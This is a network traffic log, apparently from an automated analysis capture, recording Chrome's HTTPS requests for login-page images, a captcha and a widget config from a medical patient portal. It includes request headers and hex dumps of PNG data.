2024-04-24 12:45:12 UTC	571	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:12 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 213 Connection: close Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block pragma: no-store,no-cache cache-control: no-cache, no-store,must-revalidate, max-age=-1 expires: -1 Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), speaker=(), vibrate=(), fullscreen=(), payment=(), microphone=(), camera=(), magnetometer=(), gyroscope=() Server:
2024-04-24 12:45:12 UTC	213	IN	Data Raw: 0d 0a 0d 0a 0d 0a 0d 0a 20 0d 0a 20 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 7b 22 6f 70 65 6e 41 63 63 65 73 73 70 72 61 63 74 69 63 65 57 69 64 67 65 50 61 74 68 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 68 65 61 6c 6f 77 2e 63 6f 6d 5c 2f 61 70 70 73 5c 2f 70 72 61 63 74 69 63 65 5c 2f 76 61 6c 6c 65 79 2d 70 72 6f 66 65 73 73 69 6f 6e 61 6c 73 2d 63 6f 6d 6d 75 6e 69 74 79 2d 68 65 61 6c 74 68 2d 63 65 6e 74 65 72 2d 31 37 31 35 34 3f 76 3d 32 26 6c 6f 63 61 6c 65 3d 65 6e 22 2c 22 6f 70 65 6e 41 63 63 65 73 73 57 69 64 67 65 74 22 3a 22 31 22 2c 22 68 65 61 6c 6f 77 53 65 61 72 63 68 43 6f 64 65 22 3a 22 48 48 4a 49 41 44 22 7d Data Ascii: {"openAccesspracticeWidgePath":"https:\/\/healow.com\/apps\/practice\/valley-professionals-community-health-center-17154?v=2&locale=en","openAccessWidget":"1","healowSearchCode":"HHJIAD"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.4	50131	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:12 UTC	850	OUT	GET /portal14763/images/newLogin/stepblock-bg-landing.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mycw108.ecwcloud.com/portal14763/ss/newLogin/custom.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:12 UTC	430	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:12 GMT Content-Type: image/png Content-Length: 5302 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:12 GMT Accept-Ranges: bytes ETag: W/"5302-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:12 UTC	5302	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 96 00 00 00 d0 08 06 00 00 00 24 8e 47 53 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 14 6d 49 44 41 54 78 5e ed dd 6b 6f 14 57 9e c7 f1 aa ae ae 7b df dc 76 7b 48 32 c0 44 1b 29 9a 3c 98 d1 8a cc 03 a4 99 d9 46 20 67 3d c8 56 f2 80 79 3d bc 8d 7d 0b de 67 89 96 5d 92 89 da 9a 10 32 3b 63 1e 24 2b 23 76 0c 31 09 d7 d8 03 c4 18 ec 6e f7 a5 b6 8e 2f 59 42 00 57 77 57 57 57 9d f3 b5 64 09 44 d5 a9 73 3e ff 83 7e ea ae 53 a7 74 2d fc 79 67 61 d9 7a eb 75 c3 16 7f e6 07 01 04 10 40 40 3d 81 e6 d3 4a 6f c7 fa 59 6b f1 94 de 19 76 f4 fa 41 03 67 3f fb 6a c2 d0 2b ee b0 0d 72 3e 02 08 20 80 40 76 05 3a ed 6e af db da da 09 f4 4e eb e3 99 5f 6d 6b ba de eb 77 34 3f 04 8b 38 f1 cc 27 37 ca 9e 6b fa Data Ascii: PNGIHDR$GSsBIT\|dmIDATx^koW{v{H2D)<F g=Vy=}g]2;c$+#v1n/YBWwWWWdDs>~St-ygazu@@=JoYkvAg?j+r> @v:nN_mkw4?8'7k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.4	50135	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:12 UTC	589	OUT	GET /portal14763/images/newLogin/book-an-appointment-landing-vector.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:12 UTC	432	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:12 GMT Content-Type: image/png Content-Length: 43974 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:12 GMT Accept-Ranges: bytes ETag: W/"43974-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:12 UTC	15952	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 cb 00 00 01 bd 08 06 00 00 00 7a 79 5d 9b 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 20 00 49 44 41 54 78 5e ec 9d 07 7c 5c c5 f5 b6 cf 76 ad 56 bd 58 5d 96 7b c7 a6 18 dc b0 4d 31 06 43 00 d3 8b 8d 03 04 08 21 3d 01 fe 5f 2a 21 24 3f 02 21 21 74 02 0e 2d 40 02 a6 25 b4 50 6d 0c a6 d8 06 1b f7 5e 64 4b b2 ad de b5 f5 7b cf 48 d7 96 85 a4 ed ab 2d e7 26 8b 64 ed bd 73 67 de 99 bd cf 9e 33 67 ce e8 48 0e 51 40 14 10 05 44 01 51 40 14 e8 57 01 9d e8 23 0a 88 02 a2 80 28 20 0a 88 02 fd 2b 20 b0 94 11 22 0a 88 02 a2 80 28 20 0a 78 51 40 60 29 43 44 14 10 05 44 01 51 40 14 10 58 ca 18 10 05 44 01 51 40 14 10 05 82 53 40 2c cb e0 f4 93 ab 45 01 51 40 14 10 05 12 40 01 81 65 02 74 b2 34 51 14 10 Data Ascii: PNGIHDRzy]sBIT\|d IDATx^\|\vVX]{M1C!=_*!$?!!t-@%Pm^dK{H-&dsg3gHQ@DQ@W#( + "( xQ@`)CDDQ@XDQ@S@,EQ@@et4Q
2024-04-24 12:45:12 UTC	16384	IN	Data Raw: 11 15 74 01 fa cf 61 11 ef ed 25 83 92 b6 27 a2 00 bd b5 59 60 29 23 41 29 20 b0 94 81 10 cf 0a 08 2c 03 ed 5d cf f3 46 9d e9 8e 82 02 cb c6 40 4b 88 97 eb 04 96 f1 d2 93 41 b6 23 10 58 26 fa ae 23 41 4a 2e 97 47 50 01 7f 61 39 6e fc 38 fa ee 8d 37 d0 b0 e1 43 23 58 cb a8 be d5 cb 46 9d f1 d7 89 0c 4d 81 65 54 8f cf c8 55 ce 7f 58 96 d0 2d b7 7c 1f db 4c 4d 8e 5c 25 fb b8 13 a7 80 eb 7e 1c fd af 01 af de e1 0a f4 fc b0 71 62 f5 de 8e 78 6b 4f 34 f4 80 af b0 e4 04 f5 36 5b 0a 9d 77 fe b7 e8 ec 6f cd 53 bb bf c8 71 94 02 4b f4 1e c3 af 8a 8a 92 b6 24 9a 2e 02 cb 44 eb f1 3e da eb 2f 2c cb ca 4a 88 b7 e8 9a 3e fd c4 01 55 b0 3b 58 14 24 01 ce 68 84 e5 e1 0f 1a 00 d9 fd 43 d7 13 98 f1 d6 9e 01 1d 1c dd 6e ee 2b 2c b3 b2 32 69 ee 59 73 e9 9c 6f 9d ad 76 86 91 Data Ascii: ta%'Y`)#A) ,]F@KA#X&#AJ.GPa9n87C#XFMeTUX-\|LM\%~qbxkO46[woSqK$.D>/,J>U;X$hCn+,2iYsov
2024-04-24 12:45:13 UTC	11638	IN	Data Raw: 68 d7 ee e8 88 f8 ee dd bb 21 3d 3d 1d 9a 36 6d aa 5a 55 5f c3 6c 6a ed a6 c2 3c cb f6 66 1f 5d a7 fc de bd 8e c1 d8 ed 6b 98 8d e6 2a 69 9b 88 9a b4 7d eb 16 68 de a2 25 7e b5 10 97 d3 bf 93 93 ad d0 26 27 a7 c1 ed 07 0f 1c 80 83 07 f6 43 c7 4e 9d eb 7f ef 79 af 9a f2 e8 1a 7a db 6d 86 73 97 ee 89 86 e9 69 0b 51 6a 5d bb fb ca cb 53 2f ea 23 95 f8 c2 e3 de 17 bc 69 ed ad 7f a9 b5 99 86 87 69 05 35 ad a4 0e d6 6e cf b2 1a 6b 77 cf 3e 2f c3 6e b5 f5 d6 f2 3a 82 e5 f6 1d 05 df 4d 78 f5 a5 e1 1f 7e 38 a3 14 f3 26 40 ba 7f f1 30 ac 96 82 d7 7d d6 34 ce 32 b0 ec f0 01 1b 87 de e5 56 fc d0 77 08 ec 4e fd af 36 02 2c f7 97 94 42 0b 9c 87 f2 b5 82 93 20 f2 d8 63 8f 41 b3 66 cd e0 d0 a1 43 f0 cc 33 cf c0 c7 1f 7f 0c 1b 37 6e 14 a2 75 ed da 15 46 8c 18 21 7e de bc Data Ascii: h!==6mZU_lj<f]k*i}h%~&'CNyzmsiQj]S/#ii5nkw>/n:Mx~8&@0}42VwN6,B cAfC37nuF!~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.4	50134	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:12 UTC	578	OUT	GET /portal14763/images/newLogin/pay-bill-vector-landing.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:12 UTC	432	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:12 GMT Content-Type: image/png Content-Length: 35044 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:12 GMT Accept-Ranges: bytes ETag: W/"35044-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:12 UTC	15952	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 53 00 00 01 86 08 06 00 00 00 c6 b8 62 e8 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 20 00 49 44 41 54 78 5e ec 9d 07 80 54 d5 d5 f8 ef ec 2e b0 74 90 5e 04 04 05 69 8a 5d 44 04 bb b1 f7 1a 4b ec ed 53 13 4d 62 22 26 f9 f2 99 98 18 53 bf c4 68 62 4b cc a7 fe 35 f6 86 1d b1 60 27 4a 53 04 a4 49 91 2e bd ec ce ff fc ee cc 59 1e c3 cc ee 94 f7 66 16 f6 3c 5c 77 76 de bb e5 9d f7 de ef 9d 7b ee 39 e7 c6 9c 6d 26 01 93 80 49 c0 24 50 b0 04 62 05 d7 60 15 98 04 4c 02 26 01 93 80 33 98 da 4d 60 12 30 09 98 04 42 90 80 c1 34 04 21 5a 15 26 01 93 80 49 c0 60 6a f7 80 49 c0 24 60 12 08 41 02 06 d3 10 84 68 55 98 04 4c 02 26 01 83 a9 dd 03 26 01 93 80 49 20 04 09 18 4c 43 10 a2 55 61 12 30 09 98 04 Data Ascii: PNGIHDRSbsBIT\|d IDATx^T.t^i]DKSMb"&ShbK5`'JSI.Yf<\wv{9m&I$Pb`L&3M`0B4!Z&I`jI$`AhUL&&I LCUa0
2024-04-24 12:45:12 UTC	16384	IN	Data Raw: 9a 2c 96 04 0c a6 c5 92 74 dd ed 18 4c eb 96 51 e8 47 84 0d d3 d4 a5 9e b3 59 b6 24 f4 93 b2 0a 4b 22 01 83 69 49 c4 9e b6 51 83 69 09 ae 45 14 30 cd 75 41 bd 12 9c b6 35 19 81 04 0c a6 11 08 35 cf 2a 0d a6 79 0a ae 90 62 61 c3 14 9b e9 aa d5 6b 5d 65 53 89 6d 4f 66 1c 62 c2 97 a0 c3 cd 81 87 a9 3d 96 79 63 39 d6 4f 54 c9 c1 d8 59 fd e4 95 cf f0 11 8c fe 4e 94 63 16 dc af 4f 94 43 04 b2 38 0b f9 e4 1d a9 39 50 fd 8c b9 fc 90 b2 2e 11 8b 2f b3 e1 24 2d f1 5e 08 92 8e 2e 43 b4 6d c2 1f 21 fd 56 41 d4 52 f2 dc b1 13 eb 92 c9 71 56 6b 95 22 7e a6 dc cf 88 27 6e 79 df 6e 2d e7 93 a1 0b d2 b7 44 1d cc d2 b3 25 ea 93 73 f4 42 f2 19 66 fc f9 d0 7e 4d d2 97 0c 95 31 53 af b3 fb c1 b3 a2 46 16 e7 4b 24 65 49 44 b4 69 c2 19 e4 99 48 fa 9d 94 99 f8 fb f2 37 61 b8 2c Data Ascii: ,tLQGY$K"iIQiE0uA55*ybak]eSmOfb=yc9OTYNcOC89P./$-^.Cm!VARqVk"~'nyn-D%sBf~M1SFK$eIDiH7a,
2024-04-24 12:45:12 UTC	2708	IN	Data Raw: e0 c6 d2 0c 53 f5 0f 32 97 e8 4c 01 c5 30 fd cc de 98 a4 5b b7 f7 9c d5 6e f6 55 da c3 d4 ee f2 c7 62 4b f0 36 cb 14 57 30 4c 4d f1 64 f0 da a1 10 a6 f7 a1 f5 0f 22 6f f4 58 f0 54 f0 c6 e2 40 c0 d4 06 6a 34 fa 08 fe 0a ce f0 46 86 ec 96 ca 30 cd ae de 5c db 49 05 32 86 a9 65 bd 8c 09 a6 62 e4 8c c6 58 d7 6f 2a 10 18 98 b6 00 75 21 80 3a 37 e8 4e 64 98 06 dd 83 c1 b5 3f 6d 98 d2 a6 ee 39 39 77 a3 4b ff 41 70 5b ef ad e5 81 82 a9 0d d4 78 3c f0 69 53 0c 53 6f 1f 6a 2e bd 75 05 d2 80 29 45 a0 25 a2 5b b7 15 d8 94 c4 62 6d 5b 57 20 70 30 6d 89 50 27 20 42 7d 06 9f 03 69 3f c3 94 bf 92 7e 29 e0 02 a6 87 f1 1d 7b 50 34 34 3c 12 29 2c 3c ee 97 bd 41 aa 37 90 30 6a 01 ea 68 38 fb c5 20 89 2d 6d 65 98 06 d1 6b 66 d8 ec 04 a6 b7 5e 37 f8 dd a2 5f 8d fd 05 f6 19 ad Data Ascii: S2L0[nUbK6W0LMd"oXT@j4F0\I2ebXo*u!:7Nd?m99wKAp[x<iSSoj.u)E%[bm[W p0mP' B}i?~){P44<),<A70jh8 -mekf^7_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.4	50138	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:12 UTC	842	OUT	GET /portal14763/simpleCaptcha.png?1713962710829 HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:13 UTC	223	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:12 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000 Cache-Control: private,no-cache,no-store Server:
2024-04-24 12:45:13 UTC	3161	IN	Data Raw: 63 34 64 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c8 00 00 00 32 08 02 00 00 00 96 33 03 b6 00 00 0c 14 49 44 41 54 78 da ed 9c 7b 50 15 d7 1d c7 2f 20 08 a2 88 82 08 02 3e 71 50 10 51 40 1d 66 40 67 7c 20 0a 3a e3 0b 11 01 05 1c 14 14 74 04 04 7c 00 22 3e 78 29 8e c2 08 28 28 0a 3a bc df a2 20 d8 36 a9 1a 6b d2 a4 a9 4a 13 a3 49 6d 9b 34 6d da a4 4d 9a d6 c7 f4 ab d7 bd 1e ef 39 bb 77 ef bd 80 c9 bd fb fd 83 b9 f7 ec d9 73 97 dd cf 9e df f7 77 f6 9c 95 5d 7f 53 bf e0 f4 4b 4e bf 22 f4 0e a7 77 39 fd 9a d0 0d 4e 37 39 dd 22 f4 1e a7 db 9c 7e c3 e9 0e a1 f7 39 7d 40 e8 b7 84 3e e4 f4 11 a7 df 11 fa 98 d3 ef 39 dd 25 74 8f d3 7d 4e bd 9c fe 40 e8 13 4e 9f 72 7a 40 e8 33 4e 0f 09 3d 22 f4 39 a7 2f 38 fd 91 d0 63 4e 7f e2 f4 67 4e 7f 21 Data Ascii: c4dPNGIHDR23IDATx{P/ >qPQ@f@g\| :t\|">x)((: 6kJIm4mM9wsw]SKN"w9N79"~9}@>9%t}N@Nrz@3N="9/8cNgN!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.4	50141	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:12 UTC	584	OUT	GET /portal14763/images/newLogin/join-televisit-vector-landing.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:13 UTC	434	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:12 GMT Content-Type: image/png Content-Length: 171228 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:12 GMT Accept-Ranges: bytes ETag: W/"171228-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:13 UTC	15950	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 f7 00 00 01 9d 08 06 00 00 00 0f 1a 3a 1b 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 20 00 49 44 41 54 78 5e ec bd 09 98 5c 57 75 2e ba 7a 9e e7 41 dd 52 6b 9e 67 5b 92 85 e5 09 8f d8 0e 60 8c 49 48 08 53 08 43 08 37 5f c8 7d 97 1b 92 fb 78 2f b9 21 e4 e6 5e 92 2f 90 1b 2e 43 20 e4 11 26 63 66 8c 81 00 06 3c ca f2 6c d9 b2 e6 56 ab 5b 52 cf 73 57 77 55 75 55 bd ff 5f 6b ef 73 4e f5 20 b5 84 65 82 5d 65 b7 ba ba ea 9c bd f7 d9 c3 fa d7 bc f2 e4 05 7c ed 7c cd 5b 97 d5 94 17 7d a8 b2 a4 70 67 51 be 34 16 17 e6 d7 94 16 16 94 97 15 e5 17 16 17 16 e4 bd 80 5d e5 9a ca cd 40 6e 06 72 33 90 9b 81 8b 38 03 89 e9 54 66 32 99 9e 9e 9a 4e c5 12 d3 e9 91 78 2a dd 37 11 4f 3d 3e 30 9e f8 f0 33 3f f8 Data Ascii: PNGIHDR:sBIT\|d IDATx^\Wu.zARkg[`IHSC7_}x/!^/.C &cf<lV[RsWwUuU_ksN e]e\|\|[}pgQ4]@nr38Tf2Nx*7O=>03?
2024-04-24 12:45:13 UTC	16384	IN	Data Raw: 43 c6 33 48 81 04 f7 0c 42 a5 28 b9 f7 f4 a3 4e f8 68 46 2a 01 ee 3c c5 27 8e 3f 07 b3 04 25 22 b6 6d 92 bb 97 78 fd b8 09 94 59 e0 1e 71 ba 8b 82 3b 73 a7 9f 80 57 3e 25 77 82 fb b5 1b 20 b9 c3 5b 5e 09 83 f2 3b f6 1f 5f 7c fa 40 da f5 2e ee d4 7a a8 87 bc 79 cd 93 91 28 e2 1a 68 86 38 23 a7 2a 2f a8 93 9c a9 c3 1d 25 0b 54 91 3e 36 df c4 79 d7 97 f1 5a 8e 11 e0 e3 d9 8d 0c 85 d3 b8 71 67 3f 54 59 4a df db 2b b0 47 3b 86 8c cc 04 7b 36 70 37 7b a9 e6 d4 77 4c 0a ef f4 24 df b0 9d 7d 98 16 87 17 d1 74 5a 8a 0c 89 95 95 85 48 02 54 a2 59 eb 4a 61 42 e1 1e 98 44 b6 c0 44 9c 59 ed 18 c5 01 ef 78 ec a5 29 e4 93 1f 05 b8 4f 31 d4 51 d3 ce ba e7 08 cc 10 90 dc 9f 7f 79 82 fb 4c a9 57 f7 55 04 dc f3 00 ee 21 ec 86 92 fb f9 82 7b 12 89 9f 3a bf f3 3d 80 fb 43 0a Data Ascii: C3HB(NhF<'?%"mxYq;sW>%w [^;_\|@.zy(h8#/%T>6yZqg?TYJ+G;{6p7{wL$}tZHTYJaBDDYx)O1QyLWU!{:=C
2024-04-24 12:45:13 UTC	16384	IN	Data Raw: 99 6e 5d f4 c2 ce ca c8 e7 3d ce 4b 23 04 d7 c2 41 9b 08 82 eb dc 73 5d b2 49 0d 48 21 30 87 c8 4c 1d 73 e5 78 23 3a 04 da ef ab 81 7b 32 6b 3f 0e d3 47 00 1f cf f8 90 73 4f b5 3b 1e 27 2c 2f cf dd 19 f0 49 6c f9 84 e7 ae 2f c6 ef c5 83 38 42 e2 1b 65 cb 9f f6 1a 32 fa c1 a4 11 78 05 b8 c7 36 70 c8 29 25 6e d7 a4 82 e2 df eb f1 bb 7d cd bc d1 3a f7 33 34 03 22 cf 5d 21 e5 b0 c0 49 6e b5 bd ed a8 5d 74 d1 22 07 f7 9d bb 5e 76 cf 76 da b4 69 b6 75 67 8d 7d e1 4b ff 08 50 77 da 8a 55 e7 db f8 29 53 6c 6c 45 85 5d 7f e9 6a ab 7b e9 57 96 43 f8 7c ce ea b5 d4 c5 37 05 c9 58 80 b3 53 62 2f 00 9f fc c1 e6 ce 0e 40 b6 07 62 5b 8b 3d fa ab 67 2c af 0a 92 5b 6b 33 e0 2f 6f b7 c8 f2 20 bf 65 a6 51 d3 ed ad 52 db ad 47 2a 67 cd c7 ac 9b 10 6e 5f 7b 8b cb a7 aa c7 b4 Data Ascii: n]=K#As]IH!0Lsx#:{2k?GsO;',/Il/8Be2x6p)%n}:34"]!In]t"^vviug}KPwU)SllE]j{WC\|7XSb/@b[=g,[k3/o eQRG*gn_{
2024-04-24 12:45:13 UTC	16384	IN	Data Raw: 2d 3f 31 a8 27 2d d0 f1 9f 22 c6 dd f6 c7 9f b5 ed 8d 8c 1d 63 f3 aa e0 ee 00 16 01 59 a2 14 ee 44 70 f7 a5 90 43 9a 76 de 0a 2b 43 4c 64 88 06 27 0a 23 fb b7 74 a1 f8 5f ed cf 1f b5 ba a7 9f 56 11 b1 55 91 be 99 7c e5 55 36 2c a3 35 ac e7 9a f1 76 14 72 db 81 27 9e b0 4c 56 eb 15 1f ba cd ba 31 94 c2 1a 1a 16 d1 3e 4a 13 d7 ff f3 bf ea 2f cb 27 a5 31 ff 0f 6e b0 e1 ea 09 5e e5 e1 89 08 11 e7 24 2e 84 37 ba fe 9f ff d1 c1 3e 4d 63 16 b1 ad dd eb e5 5c aa 89 18 54 2d 5f 69 69 44 52 e2 70 77 e8 42 17 7e 02 f0 46 e1 f8 28 47 8f 05 4c 38 1b ef 96 fc eb d4 2b d1 d3 8f 23 1b 7e 35 c2 37 9b 48 1f 05 cf 3d 58 5b b1 da be ce 4f 84 cf 19 70 12 2a 2f 5e 8d 60 0f f3 30 0a cb fb fe d8 47 fb 9e bd b6 1d c3 06 ef 81 6f d2 3b 81 eb b1 1c 75 c5 3e ce 33 dc db 61 a0 e4 58 Data Ascii: -?1'-"cYDpCv+CLd'#t_VU\|U6,5vr'LV1>J/'1n^$.7>Mc\T-_iiDRpwB~F(GL8+#~57H=X[Op*/^`0Go;u>3aX
2024-04-24 12:45:13 UTC	16384	IN	Data Raw: 43 9e 58 45 db 21 77 94 e8 73 61 f9 eb c7 42 b6 e9 be 7b ad 79 f5 aa 5c 4a 9d 0f 7b 6e b7 bc 76 fa 7f a4 a5 87 6e 04 ae be e4 c4 23 0c 75 87 6e 38 47 dc e9 c5 c1 3d fb 58 ce 3c 2a 5b f9 90 57 fb fa fe f7 ae f3 c8 f6 3a 34 75 05 d5 e9 5c 94 26 5f 83 19 b7 46 be 60 84 00 69 d4 aa 30 26 90 97 06 d8 09 bd 65 03 69 66 bb 60 93 3b fe 98 a3 6d 2d 39 98 0a aa 2b c7 8c 2f 0d bc 1d 53 be ee 29 06 30 99 f1 65 ce 6f c1 3f d7 0b e8 8b 4e 55 1a 9e 02 c4 3c c6 d7 81 3e fc b3 12 2e a4 e5 67 a9 69 1e ac 07 e5 e9 14 ac 07 d2 e8 67 cf 9e c5 fd a7 79 4e fe 34 48 2f aa 09 d2 2b e6 39 3f 7a 68 05 d1 df e5 b6 f9 a9 bb ec bb df f8 9a 9d 40 9b de 79 d1 e9 94 53 dc e9 04 2f 81 d9 41 0e 13 c4 28 85 18 1e 10 1e 87 5c 5e c3 74 ef a1 93 66 e8 ec 0b 61 40 06 4a 8c de f6 9d 7b 9e b7 d5 Data Ascii: CXE!wsaB{y\J{nvn#un8G=X<*[W:4u\&_F`i0&eif`;m-9+/S)0eo?NU<>.gigyN4H/+9?zh@yS/A(\^tfa@J{
2024-04-24 12:45:13 UTC	16384	IN	Data Raw: f4 eb ef 15 e0 fe a6 0b fd 74 90 76 ea c7 42 da 11 59 86 d6 4b 83 7b 0c 8c 16 af f3 af 83 36 1b 9f 7f cc 5a b6 3c cd d6 50 a8 90 ee 99 0a 7c e8 e7 48 9e 4e af 90 82 83 b7 3d 0e a6 38 6b 62 fb fb fb 0a 5e 53 10 8b 6b e4 02 d0 10 36 14 85 2f cd 58 39 bd 6a bf e7 f1 ba c2 27 bf 3a ac 79 98 f5 1f 79 72 85 ed a2 f2 84 22 f5 75 cf 01 00 41 da 9e ac 03 95 f8 f4 04 e4 32 c9 2b 4f bd 48 e6 68 be 14 cd 2f b0 0f 82 99 c1 30 07 2b 90 4c 3e 67 00 bb 0d 0d 46 42 40 e4 a3 07 47 ba 53 a3 aa 30 8e fb aa c9 9d e7 ef d5 80 91 58 b7 64 62 de dc d6 0b b8 57 04 b8 cf 0c 70 77 0b 86 04 29 07 e2 fc 18 ea a7 cc cc 2c 9e 79 f9 bc bd 5e b9 7f 2e 40 db 35 35 ee ab 28 75 09 3c 1a 0b 59 27 b6 e1 32 90 99 7e 40 73 c1 78 e8 3e 8a 56 17 c5 e7 58 4c ec d3 49 49 5b 